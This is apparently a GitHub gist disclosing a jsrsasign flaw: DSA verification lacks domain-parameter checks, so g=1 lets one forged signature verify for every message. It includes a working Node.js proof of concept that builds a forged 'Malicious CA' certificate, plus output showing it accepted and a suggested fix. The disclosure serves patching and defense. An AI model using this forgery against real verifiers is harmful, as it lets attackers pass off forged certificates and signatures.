Skip to content

Instantly share code, notes, and snippets.

@Kr0emer
Created February 16, 2026 03:51
Show Gist options
  • Select an option

  • Save Kr0emer/bf15ddc097176e951659a24a8e9002a7 to your computer and use it in GitHub Desktop.

Select an option

Save Kr0emer/bf15ddc097176e951659a24a8e9002a7 to your computer and use it in GitHub Desktop.

jsrsasign: DSA universal signature forgery via missing domain-parameter validation

Summary

The DSA verification implementation in jsrsasign (all versions through 11.1.0) does not validate domain parameters. By setting generator g=1, an attacker can craft a single signature that passes X509.verifySignature() for any message hash.

Vulnerability Type

CWE-347: Improper Verification of Cryptographic Signature

Severity

High

Affected Versions

All versions through 11.1.0 (latest).

Root Cause

DSA verification computes v = (g^u1 · y^u2 mod p) mod q and checks v == r.

When g = 1 and y = 1:

  • g^u1 = 1 for any u1
  • y^u2 = 1 for any u2
  • v = (1 · 1 mod p) mod q = 1 regardless of message hash

Setting r = 1 in the forged signature makes v == r always true. The value of s only needs to be invertible mod q.

Neither setPublicHex nor verifyWithMessageHash nor X509.verifySignature validates that g > 1, g^q ≡ 1 (mod p), or y ≠ 1.

Impact

Any application using jsrsasign to verify DSA signatures or X.509 certificates from untrusted sources is affected. Attack scenarios include:

  • Forged self-signed or CA certificates accepted by X509.verifySignature()
  • Protocols where the signer provides their own public key and domain parameters (e.g., JWS with embedded keys, federated identity, peer-provided certificates)
  • Any "bring your own key" verification flow

A single forged signature (r=1, s=any invertible value) verifies for all messages under the malicious parameters. No brute force or collision is needed.

PoC: Forged X.509 certificate accepted by X509.verifySignature()

The following script constructs a malicious self-signed X.509 certificate with g=1 DSA parameters and demonstrates that jsrsasign accepts it. Small parameter values are used for clarity; the attack works identically with standard 1024/160-bit or 2048/256-bit parameters.

'use strict';
const fs = require('fs');
const path = require('path');
const vm = require('vm');

global.navigator = { appName: 'Netscape' };
global.window = global;

const jsrsasignPath = path.resolve(__dirname, '../../jsrsasign/jsrsasign-all-min.js');
const jsrsasignCode = fs.readFileSync(jsrsasignPath, 'utf8');
vm.runInThisContext(jsrsasignCode, { filename: 'jsrsasign-all-min.js' });

// Helper: build raw ASN.1 hex using jsrsasign's DER primitives
const DERSeq    = (arr) => new KJUR.asn1.DERSequence({ array: arr });
const DERSet    = (arr) => new KJUR.asn1.DERSet({ array: arr });
const DERInt    = (v)   => typeof v === 'string'
                           ? new KJUR.asn1.DERInteger({ hex: v })
                           : new KJUR.asn1.DERInteger({ 'int': v });
const DEROid    = (o)   => new KJUR.asn1.DERObjectIdentifier({ oid: o });
const DERUtf8   = (s)   => new KJUR.asn1.DERUTF8String({ str: s });
const DERBits   = (hex) => new KJUR.asn1.DERBitString({ hex: '00' + hex });
const DERUtcT   = (s)   => new KJUR.asn1.DERUTCTime({ str: s });
const DERTag    = (t, o) => new KJUR.asn1.DERTaggedObject({
                              tag: t, explicit: true, obj: o });

// 1. Malicious DSA domain parameters
const pHex = '17';   // p = 23
const qHex = '0b';   // q = 11
const gHex = '01';   // *** MALICIOUS: g = 1 ***
const yHex = '01';   // y = g^x mod p = 1 for any x

const OID_DSA           = '1.2.840.10040.4.1';
const OID_DSA_WITH_SHA1 = '1.2.840.10040.4.3';
const OID_CN            = '2.5.4.3';

// 2. Build SubjectPublicKeyInfo (DSA, g=1)
const dsaParams = DERSeq([DERInt(pHex), DERInt(qHex), DERInt(gHex)]);
const spki = DERSeq([
  DERSeq([DEROid(OID_DSA), dsaParams]),
  DERBits(DERInt(yHex).getEncodedHex())
]);

// 3. Build TBSCertificate
const rdnCN = (cn) => DERSeq([DERSet([DERSeq([DEROid(OID_CN), DERUtf8(cn)])])]);
const tbs = DERSeq([
  DERTag('a0', DERInt(2)),
  DERInt(1),
  DERSeq([DEROid(OID_DSA_WITH_SHA1)]),
  rdnCN('Malicious CA'),
  DERSeq([DERUtcT('250101000000Z'), DERUtcT('351231235959Z')]),
  rdnCN('Malicious CA'),
  spki
]);

// 4. Forge DSA signature (r=1, s=7)
const forgedSig = DERSeq([DERInt(1), DERInt(7)]);

// 5. Assemble full X.509 Certificate
const certDER = DERSeq([
  tbs,
  DERSeq([DEROid(OID_DSA_WITH_SHA1)]),
  DERBits(forgedSig.getEncodedHex())
]);

const certHex = certDER.getEncodedHex();
const certPEM = KJUR.asn1.ASN1Util.getPEMStringFromHex(certHex, 'CERTIFICATE');

// 6. Verify with X509 high-level API
console.log('=== Malicious self-signed certificate (g=1) ===');
console.log(certPEM);

const x509 = new X509();
x509.readCertPEM(certPEM);
console.log('Parsed subject:', x509.getSubjectString());
console.log('Parsed issuer:', x509.getIssuerString());

const pubKey = x509.getPublicKey();
const ok = x509.verifySignature(pubKey);
console.log('\nX509.verifySignature() =', ok);
if (ok) {
  console.log('BUG: jsrsasign accepted forged self-signed cert with g=1');
}

// 7. Universality check: same forged sig vs different hashes
console.log('\n=== Universality check: same forged sig vs different hashes ===');
const dsa = new KJUR.crypto.DSA();
dsa.setPublicHex(pHex, qHex, gHex, yHex);
const testHashes = ['00', '01', 'ff', 'deadbeef',
                    'da39a3ee5e6b4b0d3255bfef95601890afd80709'];
for (const h of testHashes) {
  const result = dsa.verifyWithMessageHash(h, forgedSig.getEncodedHex());
  console.log(`  hash=${h.substring(0,16).padEnd(16)} verify=${result}`);
}

Output

=== Malicious self-signed certificate (g=1) ===
-----BEGIN CERTIFICATE-----
MIGcMIGDoAMCAQICAQEwCQYHKoZIzjgEAzAXMRUwEwYDVQQDDAxNYWxpY2lvdXMg
Q0EwHhcNMjUwMTAxMDAwMDAwWhcNMzUxMjMxMjM1OTU5WjAXMRUwEwYDVQQDDAxN
YWxpY2lvdXMgQ0EwHDAUBgcqhkjOOAQBMAkCARcCAQsCAQEDBAACAQEwCQYHKoZI
zjgEAwMJADAGAgEBAgEH
-----END CERTIFICATE-----
Parsed subject : /CN=Malicious CA
Parsed issuer  : /CN=Malicious CA

X509.verifySignature() = true
BUG: jsrsasign accepted forged self-signed cert with g=1

=== Universality check: same forged sig vs. different hashes ===
  hash=00               verify=true
  hash=01               verify=true
  hash=ff               verify=true
  hash=deadbeef         verify=true
  hash=da39a3ee5e6b4b0d verify=true

CONFIRMED: one forged signature verifies for ALL messages

Suggested Fix

Validate domain parameters on public key import:

  • 1 < g < p
  • g^q ≡ 1 (mod p)
  • 1 < y < p

Reject keys that do not satisfy these constraints.

References

  • FIPS 186-4 §4.7 (DSA Signature Verification)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment